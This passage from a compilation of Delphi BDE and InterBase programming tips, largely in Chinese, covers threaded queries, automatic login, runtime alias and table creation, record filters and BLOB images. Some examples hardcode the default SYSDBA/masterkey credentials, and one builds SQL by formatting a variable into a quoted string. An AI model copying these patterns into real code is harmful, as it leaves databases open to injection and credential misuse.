thread (Synchronize used for this purpose)}
FQuery.Open;
Synchronize(ConnectDataSource);
except
{ Capture exception, if one occurs, and handle it in the
context of the main thread (Synchonize used for this
purpose. }
FQueryException := ExceptObject as Exception;

Synchronize(ShowQryError);
end;
end;

procedure TQueryThread.ConnectDataSource;
begin
FDataSource.DataSet := FQuery; // Connect the DataSource
to the TQuery
end;

procedure TQueryThread.ShowQryError;
begin
Application.ShowException(FQueryException); // Handle the
exception
end;

procedure RunBackgroundQuery(Session: TSession; DataBase:
TDataBase;
Query: TQuery; DataSource:
TDataSource);
begin
{ Create a TThread instance with the various parameters. }

TQueryThread.Create(Session, Database, Query, DataSource);
end;

{$R *.DFM}

procedure TForm1.GoBtn1Click(Sender: TObject);
begin
{ Run two separate queries, each in their own thread }
RunBackgroundQuery(Session1, DataBase1, Query1,
Datasource1);
RunBackgroundQuery(Session2, DataBase2, Query2,
Datasource2);
end;

end.

The TForm1.GoBtn1Click method is an event handle for a
button click event. This event handler calls the
RunBackgroundQuery procedure twice, each time passing a

different set of database components. RunBackgroundQuery
creates a separate instance of the TQueryThread class,
passing the various database components to its constructor
which in turn assigns them to the appropriate TQueryThread
private data fields.

The TQueryThread contains two user-defined procedures:
ConnectDataSource and ShowQryError. ConnectDataSource
connects FDataSource.DataSet to FQuery. However, it does
this in the primary thread by using the TThread.Synchronize

method. ShowQryError handles the exception in the context of
the primary thread, again by using the Synchronize method.
The Create constructor and Execute method are explained in
the code's comments.


如何自动Login数据库

在Delphi中，有Database元件和对象，Database对象有属性:Params和LoginPrompt，充分使用这两个属性就会自动Login数据库。下面的例程就会自动Login。

例：新建一程序(Project),在Form上放置Table,Database,DataSource,DBGrid各一个，并通过Object
Inspector将DBGrid的DataSource指向DataSource，DataSource的DataSet指向Table。双击Form，进入Form1的Create事件程序代码编辑，输入：
Database1.Params.Values['USERNAME']:='SYSDBA';
Database1.Params.Values['PASSWORD']:='masterkey';
Database1.LoginPrompt:=False;
Database1.DatabaseName:='MYDB';

Database1.AliasName:='IBLOCAL';
Table1.DatabaseName:='MYDB';
Table1.TableName:='EMPLOYEE';
Table1.Open;
运行程序(Run, F9)则可以自动Login Interbase，将数据表中的数据显示在DBGrid中。
注：对于不需要用户名和密码的ODBC驱动，可以设置USERNAME和PASSWORD为空。


自动检测、建立数据库别名和表格

---- Delphi3 内 建 的Borland 数 据 库 引 擎(BDE)， 使Delphi3 程 序 能 通 过 数 据 库 别 名(Database
Alias) 十 分 方 便 地 访 问 各 种 类 型 的 数 据 库。然 而， 数 据 库 别 名 的 建 立、 修 改、
删 除 等 维 护 工 作，需 要 在 BDE Administrator 中 进 行， 数 据 库 中 实 际 表 格 结 构 的 建
立 和 维 护， 有 时 也 要 在DataBase Desktop 中 完 成， 这 给 用 户 增 加 了 不 少 困 难。 有 没
有 办 法 让 用 户 不 去 执 行BDE Administrator 和DataBase Desktop 这 两 个 应 用 程 序， 就 可 直
接 检 测、 建 立 数 据 库 别 名 和 库 中 的 表 格 呢 ？ 笔 者 通 过 探 索， 得 到 了 一 种 可
行 的 方 案， 现 以 笔 者 所 开 发 的 一 个 单 机 版 的 图 书 资 料 管 理 系 统 为 例， 简 要
加 以 说 明。

---- 一、 数 据 库 别 名(Alias) 的 定 义 和 检 测 方 法

---- 当Type 为STANDARD 时, 别 名 定 义 最 为 简 单， 这 时 仅 能 采 用PARADOX, DBASE,ASCIIDRV
三 种 数 据 库 作 为 缺 省 的 驱 动 程 序(DEFAULT DRIVER)。

---- 另 外， 还 要 定 义 数 据 库 存 放 路 径(PATH) 和ENABLE BCD， 才 能 建 立 一 个 完 整 的
数 据 库 别 名。

---- Delphi 的 数 据 库 应 用 程 序 能 自 动 提 供 一 个Session 组 件， 这 个 Session 组 件 即 为 应
用 程 序 与BDE 的 接 口。

---- 1. 检 测 别 名

---- 通 过 调 用Session.GetAliasNames(list:Tstrings) 方 法， 可 将 当 前BDE 配 置 中 的 所 有 数 据 库 别
名 的 名 称 存 放 到List 字 符 串 列 表 中。 list.IndexOf(' 需 要 检 测 的 别 名') 的 值 会 告 诉 我
们 这 个 别 名 是 否 存 在 ( 其 值 为-1 时 不 存 在）。

---- 2. 增 加 一 个 新 的 别 名

---- Session 组 件 的 过 程AddStandardAlias(const Name, Path, DefaultDriver: string), 可 以 增 加 一 个 标 准
类 型 的 数 据 库 别 名。 例 如 增 加 一 个 名 为Cntssamp， 缺 省 数 据 库 驱 动 程 序 为
PARADOX、 存 放 路 径 为c:\delphp11 的 别 名：

---- Session.AddStandardAlias('Cntssamp','c:\delphp11','Paradox');

---- 3.BDE 配 置 文 件 存 盘

---- Session.SaveConfigFile;

---- 二、 数 据 库 中 表 格 的 定 义 和 检 测 方 法

---- 数 据 库 中 表 格 的 定 义、 维 护 和 使 用， 只 有 在 数 据 库 别 名 正 确 设 置 的 情 况
下 才 有 意 义。 以TTable 组 件 为 例， 必 须 设 置 其DatabaseName 为 一 个 实 际 存 在 的 别
名。

---- 1. 检 测 表 格 是 否 存 在

---- 通 过 调 用Session.GetTableNames(const DatabaseName,

---- Pattern: string; Extensions,SystemTables: Boolean; List:

---- TStrings) 方 法， 可 将 当 前 指 定 数 据 库 别 名 中 所 有 表 格 的 名 称 存 放 到 List 字 符
串 列 表 中。list.IndexOf(' 需 要 检 测 的 表 格 名') 的 值 会 告 诉 我 们 这 个 表 格 是 否 存 在(
其 值 为-1 时 不 存 在）。

---- 2. 建 立 一 个 表 格

---- 第 一 步， 设 置TTable 组 件 的DataBase Name( 别 名)、TableName ( 表 格 名)、TableType( 数 据 库
类 型);

---- 第 二 步， 调 用Table.FieldDefs.Add(const Name: string;

---- DataType: TFieldType; Size: Word; Required: Boolean) 增 加 表 格的 各 个 字 段， 其 中Name 为 字 段
名，DataType 为 字 段 类 型（ 常 用 的 有 ftInteger,ftString,ftDate,ftBoolean 等）,Size 为 字 段 长 度，
Required 为 该 字 段 是 否 允 许 有 空 值。

---- 第 三 步， 调 用Table.IndexDefs.Add(const Name, Fields: string; Options: TIndexOptions) 方 法 增 加 表 格
的 索 引 文 件， 其 中 Name 为 索 引 文 件 名，Fields 为 索 引 字 段，options 为 索 引 参 数 的 集
合， 常 用 的 索 引 参 数 有ixPrimary( 主 键）、 ixDescending( 降 序)、 ixUnique( 具 有 唯 一 值）
等。

---- 第 四 步， 调 用Table.CreateTable 建 立 表 格。

---- 三、 一 个 实 例

---- 在Form1.Formcreate 事 件 中 写 入 如 下 代 码， 程 序 启 动 时， 将 自 动 检 测 是 否 存 在
数 据 库 别 名Cntssamp， 如 果 没 有 则 建 立 之； 自 动 检 测 别 名Cntssamp 中 是 否 存 在 表
格TSK( 图 书 库)， 如 果 没 有 则 自 动 建 立 表 格TSK。

procedure TForm1.FormCreate(Sender: TObject);
var
ap:TStringList;   {字符串列表变量}
answer:Integer;
begin
ap:=TStringlist.Create;
Session.GetAliasNames(ap);   {取得别名列表}
if
(ap.IndexOf('Cntssamp')=-1) then   {判断别名是否存在}
begin
answer:=Application.MessageBox(
'别名Cntssamp不存在，
现在创建吗？','BDE信息窗口',mb_OKCancel);
{增加一个名为Cngzsamp的数据库别名}
if  answer=IDCANCEL then
begin
ap.Free;
Exit;
end;
Session.AddStandardAlias
('Cntssamp','c:\delphp11','Paradox');
Session.SaveConfigFile;    {BDE配置文件存盘}
end ;

  ap.Clear;
{取得别名Cngzsamp中的所有表格名称列表}
Session.GetTableNames
('Cntssamp','',False,False,ap);
if
(ap.IndexOf('TSK')=
-1)  then  {判断表格是否存在}
begin
answer:=Application.MessageBox(
'别名Cntssamp中不存在
表格TSK,现在创建吗？','表格信息窗口
',mb_OKCancel);
if answer=IDCANCEL then begin
ap.Free;
Exit;
end;
with table1
do begin
Active:=false;
DatabaseName:='Cntssamp';
{数据库别名}
TableName:='TSK';
{表格名}
TableType:=ttParadox;
{数据库类型}
with FieldDefs do
begin
{增加字段}
Clear;
Add('SH',ftString,30,False);  {书号
String(30)}
Add('SM',ftString,30,False);  {书名
String(30)}
Add('CBS',ftString,20,False); {出版社
String(20)}
Add('CBRQ',ftDate,0,False);   {出版日期
Date}
Add('YS',ftInteger,0,False);   {页数
Integer}
end;
with IndexDefs do
begin
{增加索引}
Clear;
{按书号字段建立主索引}
Add('SHSY','SH',[ixPrimary,ixUnique]);
end;
CreateTable;      {创建表格}
end;
end ;
ap.free;
{释放变量ap}
end;

---- 四、 本 程 序 在Pwin95,Delphi3 环 境 下 调 试 通 过。
////////////////////////////////////////////////////////////
在Delphi代码中建立和使用别名

张来东 常虹

通常我们在Delphi外，通过使用Borland数据库引擎(BDE)的设置单元(bdecfg.exe)来建立和设置别名(Alias)，但是，实际上用户可以在Delphi或应用程序中用TDatabase Compone nt或其他方法建立和使用别名，而不必在IDAPI.CFG中预先定义。

建立有效的别名是非常重要的，别名详细说明了数据库的定位信息和连接数据库服务器的参数，当发布应用程序时不必担心IDAPI.CFG中是否有某项设置。

利用TDatabase Component建立别名

建立和设置一个使用标准数据库的别名的步骤如下。

1.建立一个新工程(Project)。

2.将组件(Component) TDatabase、TTable、TDataSource、TDBGrid和TButton放在FORM 上。

3.双击TDatabase Component 或在TDatabase快速菜单上选择Database Editor 运行Dat abase属性编辑器。

4.将Database Name 设置成‘ZldchAlias’，这个名字将被当作别名，用来设置数据集组件TTable、TQuery、TStoredProc等的DatabaseName属性。

5.将Driver Name设置成STANDARD。

6.单击Defaults按钮，将 PATH= 自动加在 Parameter Overrides 框中。

7.将PATH=设置成PATH=C:，单击OK按钮关闭 Database Editor。

8.单击OK按钮关闭Database Editor。

9.将TTable的DatabaseName 属性设置成‘ZldchAlias’。

10.将TDataSource的DataSet 属性设置成‘Table1’。

11.将DBGrid的DataSource属性设置成‘DataSource1’。

12.在Tbutton的OnClick事件过程中加入下列代码：

procedure TForm1.Button1Click(Sender:Tobject);

begin

Table1.Tablename=‘customer’;

Table1.Active:=true;

end;

13.运行程序。

上面3～12步也可以用以下过程实现：

MyAddStandAlias(AliasN: String;DbLocat: String;DriverN:string );

{AliasN 别名名,DbLocat 数据库定位目录,DriverN 联结驱动类型}

begin

with Form1.Database1 do

begin

DatabaseName:= AliasN;

DriverName:= ‘STANDARD’;

Params.Clear;

Params.Add(‘PATH=’＋DbLocat);

Params.Add(‘DEFAULT DRIVER=’＋DriverN);

end

end；

procedure TForm1.Button1Click(Sender:Tobject);

begin

MyAddStandAlias(‘ZldchAlias’,‘C:PARADOX’);

Table1.DatabaseName:=‘ZldchAlias’;

DataSource1.DataSet:= Table1;

DBGrid1.DataSource:= DataSource1;

Table1.Tablename=‘customer’;

Table1.Active:=true;

end;

建立使用INTRBASE数据库的别名

建立使用INTRBASE数据库别名的步骤如下。

1～4步同上。

5.将Driver Name 设置为INTRBASE。

6.单击Defaults 按钮，下列内容会自动加在 Parameter Overrides 框中：

SERVER NAME=IB_SERVER：/PATH/DATABASE.GDB

USER NAME=MYNAME

OPEN MODE=READ/WRITE

SCHEMA CACHE SIZE=8

LANGDRIVER=

SQLQRYMODE=

SQLPASSTHRU MODE=NOT SHARED

SCHEMA CACHE TIME =－1

PASSWORD=

7.将以上内容改为：

SERVER NAME=C：\Program Files\Borland\Delphi 3\Demos\Data\EMPLOYEE.GDB

USER NAME=SYSDBA

OPEN MODE=READ/WRITE

SCHEMA CACHE SIZE=8

LANGDRIVER=

SQLQRYMODE=

SQLPASSTHRU MODE=NOT SHARED

SCHEMA CACHE TIME =－1

PASSWORD=masterkey

8.将TDatabase 的属性LoginPrompt设置成‘False’，如用户在Parameter Overrides 框中给出了正确的PASSWORD，连接数据库时将不会提示要求输入口令。请注意：如果在Para meter Overrides 框中给出的PASSWORD不正确，而TDatabase 的属性LoginPrompt设置为‘F alse’，程序运行时将出错，但并不会提示要求重新输入正确口令。Intrbase安装后，系统唯一授权的用户是SYSDBA，缺省口令是“masterkey”,所有其他的用户都必须由SYSDBA添加，所以在Intrbase系统安装后要尽快更改用户SYSDBA的口令。

9、10、12步同上文的8、9、11步。

11.将TDataSource的DataSet 属性设置成‘Query1’。

13.在Tbutton的OnClick事件过程中加入下列代码：

procedure TForm1.Button1Click(Sender:Tobject);

begin

Query1.SQL.Clear;

Query1.SQL.ADD(‘SELECT DISTINCT ＊ FROM CUSTOMER C ,SALES S WHERE (S.CUST_N O=C.CUST_NO) ORDER BY C.CUST_NO, C.CUSTOMER’);

Query1.Active:=True;

end;

14.运行程序。

过程MyAddStandAlias的参数可以通过各种方式赋值。目录、服务器名、路径、数据库名和其他别名所需的参数都可以通过输入对话框或从.INI文件读入程序中。通过以上方法建立的别名只在程序运行时存在，其他应用程序不能使用。

利用Session建立、修改、删除别名

所有数据库管理应用程序都自动提供一个名为Session的Session组件。每个和数据库程序相关的数据集组件都包含SessionName属性，它决定了和该组件相关的Session组件。因为 Session封装了一系列数据库连接特性，大部分Session组件的方法都通过BDE别名工作。每个和Session有关联的数据库组件都有别名(尽管在处理PARADOX和DBASE 数据库时，完整的路径可以取代别名)，通过Session可以检测和决定别名的可见性、跟踪别名名和其他连接驱动信息以及建立、修改和删除别名。

Session的设置模式(ConfigMode)属性，决定了什么样的BDE别名对它是可见的。默认设置是cmAll，它可解释成[cfmVirtual or cfmPersistent]。如果设置模式值为cmAll，由Ses sion建立的所有别名、用户系统BDE设置文件中预定义的别名以及BDE在内存中维护的所有别名均可见。

设置模式的主要目的是，允许应用程序详细说明和限定别名在Session级别上的可见性。例如把设置模式设置成[cfmSession]，可使Session只可见那些由其建立的别名，所有其他的别名都无效。

当别名在Session存在期间建立后，BDE在内存中建立一个它的拷贝。这个局部拷贝只对建立它的Session有效，除非在同一个应用程序中其他Session的模式设置成cmAll或cfmPers istent。

使用Session的SaveConfigFile方法，可以将内存中的别名写入BDE设置文件中，这样其他BDE允许的应用程序就可以使用该别名。

Session组件有五个方法，允许应用程序跟踪BDE别名的参数和驱动程序等信息：

GetAliasNames：列出Session已经处理过的别名；

GetAliasParams：列出指定的别名的参数；

GetAliasDriverName：返回包含别名使用的驱动程序名的字符串；

GetDriverNames：返回所有有效的BDE驱动程序；

GetDriverParams：返回指定的驱动程序的驱动参数。

Session可以在其存在期间建立、修改和删除别名。方法AddAlias为SQL数据库服务器建立一个新的BDE据工作区。方法AddStandardAlias为PARADOX、DBASE、ASCII表建立一个新的 BDE标准别名。

AddAlias 需要三个参数：一个包含别名工作区名的字符串、一个说明SQL连接驱动类型的字符串、一个汇集连接参数的列表字符串，其格式为：

procedure AddAlias(const Name, Driver: string; List: TStrings);

AddStandardAlias 需要三个参数：别名名、PARADOX和DBASE表存放的完整路径、当试图打开一个没有扩展名表时的默认驱动类型，其格式为：

procedure AddStandardAlias(const Name, Path, DefaultDriver: string);

当为Session添加一个别名时，它仅对该Session和其他设置模式值为cfmPersistent的S ession有效。为了使新建的别名对所有的应用程序有效，在建立别名后应该调用SaveConfig File方法。

修改别名可以调用过程ModifyAlias，它需要二个参数：将要修改的别名名和包含修改后连接参数值的列表串，格式为：

procedure ModifyAlias(Name: string; List: TStrings);

方法DeleteAlias可以使别名对Session无效，但它不会删除写入BDE设置文件的别名。如果要将其从BDE设置文件中删除，需要在调用DeleteAlias后再调用SaveConfigFile。Dele teAlias只需一个参数：别名名。其格式为：

procedure DeleteAlias(const Name: string);

利用Session操作别名具有更大的灵活性，将给编程和发布程序尤其是C/S应用程序带来很大方便。以上例程在Win95、Delphi 3.0下调试通过。


数据库日期显示

在使用DBGRID控件时显示DATATIME时其年份是为2位的，但我们在步入2000年后需要显示的日期是4位，如：1998、2001。在数据库中该字段只有在2000年后才会显示4位，怎么办呢？下面我们就让该字段在DBGRID控件中也显示4位的日期格式：双击Table1控件，就会出现form1.table窗体，击右键，选Add Fields...，选择日期字段后按ok，窗体中就出现了数据库的日期字段名，点日期的那个字段名，属性框里就出现了该字段的信息，里面有一项DispalyFormat，在该显示格式里输入yyyy.mm.dd，那么DBGRID控件就出现完整的日期了。


清空数据库缓冲区

 可防止数据丢失
procedure TForm1.Table1AfterPost(DataSet: TDataSet);
begin
DbiSaveChanges(Table1.handle);//或者table1.flushbuffer;
end;


过滤器用法

当我们在操作数据集时，往往需要对数据进行筛眩例如：一个名为Customer的数据表，它具有CustNo、CustName、Country、Address、Phone、State、TaxRate等字段，如果只想查看国别为China或顾客号大于1000的顾客记录，就需要对数据集进行过滤。经总结，有下面这些过滤方法：
一、利用TTable和TQuery的Filter属性
1.在设计时设置Filter属性
例如，设置Filter为：Country=′China′然后改变Filtered属性为True（注意，Filtered为True时过滤才有效）。则只能看到对应的Country字段内容为‘China’的记录。

设置Filter时可以使用的操作符有：＜、＞、＜=、＞=、=、＜＞、AND、OR、NOT。
例如，设置Filter为：CustNo&gt;=1000andCustNo&lt;=5000，则只能看到顾客号在1000与5000之间的顾客记录。
2.在程序运行期间进行动态过滤
要在程序运行时改变Filter属性，这包括两种情况：
(1)操作符右边为常量，例如：Table1Filter:=′State′＋′=′＋′′′HI′′′；
注意：字符串常量必须用三对单引号括起来。
(2)操作符右边不为常量，可能是通过一个变量指定的值，或由一输入框给出的值。这时需要用到Format函数。其代码形式为：Table1Filter:=Format(′State′＋′=′＋′′′％S′′′，[StateValue]);其中StateValue为已经赋值的一个字符串变量，也可以为其他形式，例如：Edit1Text。

二、用ApplyRange筛选数据集的记录
执行下面这段代码，将只能看到顾客号在1000至5000之间的顾客记录。组成该例程的几个过程为：
ApplyRange,SetRangeStart,SetRangeEnd。
Table1SetRangeStart;
Table1[′CustNo′]:=1000;
Table1SetRangeEnd;
Table1[′CustNo′]:=5000;
Table1ApplyRange;
注意：该过程只适用于索引的字段。如果想基于非索引字段筛选，则不妨使用一点小花招：建立假索引。实现的方法为：Table1.IndexFieldNames:=字段名；Delphi还提供了简单的调用SetRangeStart、SetRangeEnd和ApplyRange的方法，例如：Table1.SetRange([Edit1.Text],[Edit2.Text]);

三、用OnFilterRecord事件筛选OnFilterRecord事件允许按非键控字段建立筛选程序，例如：
procedure TForm1.Table1FilterRecord(DataSet:TDataSet;varAccept:Boolean);
begin
Accept:=DataSet[′State′]=′CA′；
end;
四、用TQuery控件的SQL语句
1.SQL语句中不包含变量和参数
Select＊fromCustomer
WhereCustNo＞=1000and CustNo＜=5000
2.SQL语句中包含参数
Select＊fromCustomer
WhereCustNo＞=:CustNo
在运行期间给参数CustNo赋值。
3.SQL语句中包含变量
这时向TQuery控件添加SQL语句的代码应当这样写：

Query1.Close;
Query1.SQL.Clear;
Query1.SQL.Add(Format(′Select＊fromCustomer′＋′′＋′whereState=′＋′′′％S′′′，[StateValue]));
Query1.Open;在上面的四种方法中，第四种功能最强大，使用最灵活。


限制数据库输入格式

 定义DataSet的Field的EditMask


从blob字段中提取图片

procedure TForm1.Button1Click(Sender: TObject);
begin
Image1.Picture.Bitmap.Assign(Table1Bitmap);
end;

  procedure TForm1.Button2Click(Sender: TObject);
var
B: TBitmap;
begin
B :=
TBitmap.Create;
try
B.Assign(Table1Bitmap);
Image1.Picture.Bitmap.Assign(B);
finally
B.Free;
end;
end;


输入图片到blob字段

procedure TForm1.Button1Click(Sender: TObject);
var
C: TClipboard;
begin
C := TClipboard.Create;
try
if Clipboard.HasFormat(CF_BITMAP) then

DBImage1.PasteFromClipboard
else
ShowMessage('Clipboard does not contain a bitmap!');
finally
C.Free;
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
Table1Bitmap.LoadFromFile(
'c:\delphi\images\splash\16color\construc.bmp');
end;

procedure TForm1.Button3Click(Sender: TObject);
var
B: TBitmap;
begin
B :=
TBitmap.Create;
try
B.LoadFromFile('c:\delphi\images\splash\16color\athena.bmp');
DBImage1.Picture.Assign(B);
finally
B.Free;
end;
end;
///////////////////////////////////////////////////////////
var
st: TStringStream;
begin
st := tstringstream.create('');
bitmap.savetostream(st);
query1.sql.text := 'insert into table
Image_field values :bmp';
query1.parambyname('bmp').asblob :=
st.datastring;
query1.execsql;
st.free;
end;
////////////////////////////////////////////////////////////////////////
unit
Unit1;

interface

{$IFDEF WIN32}
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls, DBCtrls, Grids, DBGrids, Db,
DBTables;
{$ELSE}
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, DBTables, DB, Grids, DBGrids, ExtCtrls, StdCtrls;
{$ENDIF}

type
TForm1 = class(TForm)
Table1: TTable;
DataSource1: TDataSource;
DBGrid1:
TDBGrid;
Image1: TImage;
Button1:
TButton;
Table1Name: TStringField;
Table1WMF: TBlobField;
OpenDialog1: TOpenDialog;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure DataSource1DataChange(Sender: TObject; Field:
TField);
private
{ Private declarations }
FileName : string; {Used to hold a temp file name}
procedure LoadWMFFromDatabase; {loads a WMF from the
database}
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
{Used for
loading metafiles}
OpenDialog1.Filter := 'Metafiles (*.wmf)|*.wmf';
OpenDialog1.Options := [ofHideReadOnly, ofNoChangeDir];
Image1.Stretch := true;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
{Erase the temp file if it exists}
if FileName <> '' then
DeleteFile(FileName);
end;

{This function gets a temporary file name form the system}
function
GetTemporaryFileName : string;
{$IFNDEF WIN32}
const MAX_PATH =
144;
{$ENDIF}
var
{$IFDEF WIN32}
lpPathBuffer :
PChar;
{$ENDIF}
lpbuffer : PChar;
begin
{Get
the file name buffer}
GetMem(lpBuffer, MAX_PATH);
{$IFDEF
WIN32}
{Get the temp path buffer}
GetMem(lpPathBuffer,
MAX_PATH);
{Get the temp path}
GetTempPath(MAX_PATH,
lpPathBuffer);
{Get the temp file name}
GetTempFileName(lpPathBuffer,
'tmp',
0,
lpBuffer);
{Free the temp path buffer}
FreeMem(lpPathBuffer, MAX_PATH);
{$ELSE}
{Get the temp file
name}
GetTempFileName(GetTempDrive('C'),
'tmp',
0,
lpBuffer);
{$ENDIF}
{Create a pascal string containg}
{the  temp file name and return it}
result :=
StrPas(lpBuffer);
{Free the file name buffer}
FreeMem(lpBuffer, MAX_PATH);
end;

procedure TForm1.LoadWMFFromDatabase;
var
FileStream:
TFileStream; {a temp file}
BlobStream: TBlobStream; {the WMF Blob}
begin
Image1.Picture.Metafile.Assign(nil);
{Create a
blob stream for the WMF blob}
BlobStream :=
TBlobStream.Create(Table1WMF, bmRead);
if BlobStream.Size = 0 then
begin
BlobStream.Free;
Exit;
end;
{if we have a temp file then erase it}
if FileName <>
'' then
DeleteFile(FileName);
{Get a temp file
name}
FileName := GetTemporaryFileName;
{Create a temp file
stream}
FileStream := TFileStream.Create(FileName,
fmCreate or fmOpenWrite);
{Copy the blob to the temp file}
FileStream.CopyFrom(BlobStream, BlobStream.Size);
{Free the streams}
FileStream.Free;
BlobStream.Free;
{Dispaly the
image}
Image1.Picture.Metafile.LoadFromFile(FileName);
end;

{Save a wmf file to the database}
procedure TForm1.Button1Click(Sender:
TObject);
var
FileStream: TFileStream; {to load the wmf file}
BlobStream: TBlobStream; {to save to the blob}
begin
{Allow the button to repaint}
Application.ProcessMessages;
if OpenDialog1.Execute then begin
{Turn off the
button}
Button1.Enabled := false;
{Assign the avi file name to read}
FileStream :=
TFileStream.Create(OpenDialog1.FileName,
fmOpenRead);
Table1.Edit;
{Create a
BlobStream for the field Table1WMF}
BlobStream :=
TBlobStream.Create(Table1WMF, bmReadWrite);
{Seek to the
Begginning of the stream}
BlobStream.Seek(0,
soFromBeginning);
{Delete any data that may be there}
BlobStream.Truncate;
{Copy from the
FileStream to the BlobStream}
BlobStream.CopyFrom(FileStream, FileStream.Size);
{Free the
streams}
FileStream.Free;
BlobStream.Free;
{Post the record}
Table1.Post;
{Load the metafile in to a TImage}
LoadWMFFromDatabase;
{Enable the button}
Button1.Enabled := true;
end;
end;

procedure TForm1.DataSource1DataChange(Sender: TObject; Field: TField);
begin
if (Sender as TDataSource).State = dsBrowse then
LoadWMFFromDatabase;
end;

end.


运行时创建、删除TField

procedure TForm1.Button2Click(Sender: TObject);
var
T:
TStringField;
begin
Query1.Close;
T :=
TStringField.Create(Self);
T.FieldName := 'CO_NAME';
T.Name
:= Query1.Name + T.FieldName;
T.Index := Query1.FieldCount;
T.DataSet := Query1;
Query1.FieldDefs.UpDate;
Query1.Open;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
TC:
TComponent;
begin
TC := FindComponent('Query1CO_NAME');
if not (TC = nil) then begin
Query1.Close;
TC.Free;
Query1.Open;
end;
end;


检测、建立数据库别名和表格

    对于BDE会话期对象来说，BDE别名特别重要，许多方法都需要传递一个数据库的别名作为参数。Tsession提供了管理BDE别名的功能。
    但是作者往往等到要发布程序时才发现，你的程序由于找不到别名而无法运行，必须在一台已经装了BDE管理程序的机上才能用，你一定非常失望。不要紧，只要在程序中加入以下语句，你的程序就又可以执行。
    AddAlias用于为Paradox、dBase或文本创建别名，不需要连接参数，只需指定一个路径和默认的驱动程序。
    AddStandardAlias函数则需要传递三个参数，Name参数用于指定名称，Driver参数用于指定SQL Links驱动程序，List参数用于指定连接参数。
procedure TForm1.FormCreate(Sender: Tobject);
begin
with Session do
begin
ConfigMode := cmSession;
try
AddStandardAlias('WorkMen', ExtractFilePath(ParamStr(0)), 'PARADOX');
finally
ConfigMode := cmAll;
end;
end;
end;

    上面的是单机版的创建别名方法，还有创建SQL服务器别名的方法
procedure TForm1.FormCreate(Sender: Tobject);
var MyList: TStringList;
begin
MyList := TStringList.Create;
try
with MyList do
begin
Add('SERVER NAME=IB_SERVER:/PATH/DATABASE.GDB');
Add('USER NAME=MYNAME');
end;
Session1.AddAlias('WorkMen', 'INTRBASE', MyList);
finally
MyList.Free;
end;
end;

    要说明的是，调用AddStandardAlias或AddAlias函数创建的别名只存在于内存中，程序关闭后就没有了，要把别名永远的保存到BDE配置文件中，请调用SaveConfigFile函数来保存到设置文件中。
/////////////////////////////////
---- 一、 数 据 库 别 名(Alias) 的 定 义 和 检 测 方 法

---- 当Type 为STANDARD 时, 别 名 定 义 最 为 简 单， 这 时 仅 能 采 用PARADOX, DBASE,ASCIIDRV 三 种 数 据 库 作 为 缺 省 的 驱 动 程 序(DEFAULT DRIVER)。

---- 另 外， 还 要 定 义 数 据 库 存 放 路 径(PATH) 和ENABLE BCD， 才 能 建 立 一 个 完 整 的 数 据 库 别 名。

---- Delphi 的 数 据 库 应 用 程 序 能 自 动 提 供 一 个Session 组 件， 这 个 Session 组 件 即 为 应 用 程 序 与BDE 的 接 口。

---- 1. 检 测 别 名

---- 通 过 调 用Session.GetAliasNames(list:Tstrings) 方 法， 可 将 当 前BDE 配 置 中 的 所 有 数 据 库 别 名 的 名 称 存 放 到List 字 符 串 列 表 中。 list.IndexOf(' 需 要 检 测 的 别 名') 的 值 会 告 诉 我 们 这 个 别 名 是 否 存 在 ( 其 值 为-1 时 不 存 在）。

---- 2. 增 加 一 个 新 的 别 名

---- Session 组 件 的 过 程AddStandardAlias(const Name, Path, DefaultDriver: string), 可 以 增 加 一 个 标 准 类 型 的 数 据 库 别 名。 例 如 增 加 一 个 名 为Cntssamp， 缺 省 数 据 库 驱 动 程 序 为PARADOX、 存 放 路 径 为c:\delphp11 的 别 名：

---- Session.AddStandardAlias('Cntssamp','c:\delphp11','Paradox');

---- 3.BDE 配 置 文 件 存 盘

---- Session.SaveConfigFile;

---- 二、 数 据 库 中 表 格 的 定 义 和 检 测 方 法

---- 数 据 库 中 表 格 的 定 义、 维 护 和 使 用， 只 有 在 数 据 库 别 名 正 确 设 置 的 情 况 下 才 有 意 义。 以TTable 组 件 为 例， 必 须 设 置 其DatabaseName 为 一 个 实 际 存 在 的 别 名。

---- 1. 检 测 表 格 是 否 存 在

---- 通 过 调 用Session.GetTableNames(const DatabaseName,

---- Pattern: string; Extensions,SystemTables: Boolean; List:

---- TStrings) 方 法， 可 将 当 前 指 定 数 据 库 别 名 中 所 有 表 格 的 名 称 存 放 到 List 字 符 串 列 表 中。list.IndexOf(' 需 要 检 测 的 表 格 名') 的 值 会 告 诉 我 们 这 个 表 格 是 否 存 在( 其 值 为-1 时 不 存 在）。

---- 2. 建 立 一 个 表 格

---- 第 一 步， 设 置TTable 组 件 的DataBase Name( 别 名)、TableName ( 表 格 名)、TableType( 数 据 库 类 型);

---- 第 二 步， 调 用Table.FieldDefs.Add(const Name: string;

---- DataType: TFieldType; Size: Word; Required: Boolean) 增 加 表 格的 各 个 字 段， 其 中Name 为 字 段 名，DataType 为 字 段 类 型（ 常 用 的 有 ftInteger,ftString,ftDate,ftBoolean 等）,Size 为 字 段 长 度， Required 为 该 字 段 是 否 允 许 有 空 值。

---- 第 三 步， 调 用Table.IndexDefs.Add(const Name, Fields: string; Options: TIndexOptions) 方 法 增 加 表 格 的 索 引 文 件， 其 中 Name 为 索 引 文 件 名，Fields 为 索 引 字 段，options 为 索 引 参 数 的 集 合， 常 用 的 索 引 参 数 有ixPrimary( 主 键）、 ixDescending( 降 序)、 ixUnique( 具 有 唯 一 值） 等。

---- 第 四 步， 调 用Table.CreateTable 建 立 表 格。

---- 三、 一 个 实 例

---- 在Form1.Formcreate 事 件 中 写 入 如 下 代 码， 程 序 启 动 时， 将 自 动 检 测 是 否 存 在 数 据 库 别 名Cntssamp， 如 果 没 有 则 建 立 之； 自 动 检 测 别 名Cntssamp 中 是 否 存 在 表 格TSK( 图 书 库)， 如 果 没 有 则 自 动 建 立 表 格TSK。

procedure TForm1.FormCreate(Sender: TObject);
var
ap:TStringList;   {字符串列表变量}
answer:Integer;
begin
ap:=TStringlist.Create;
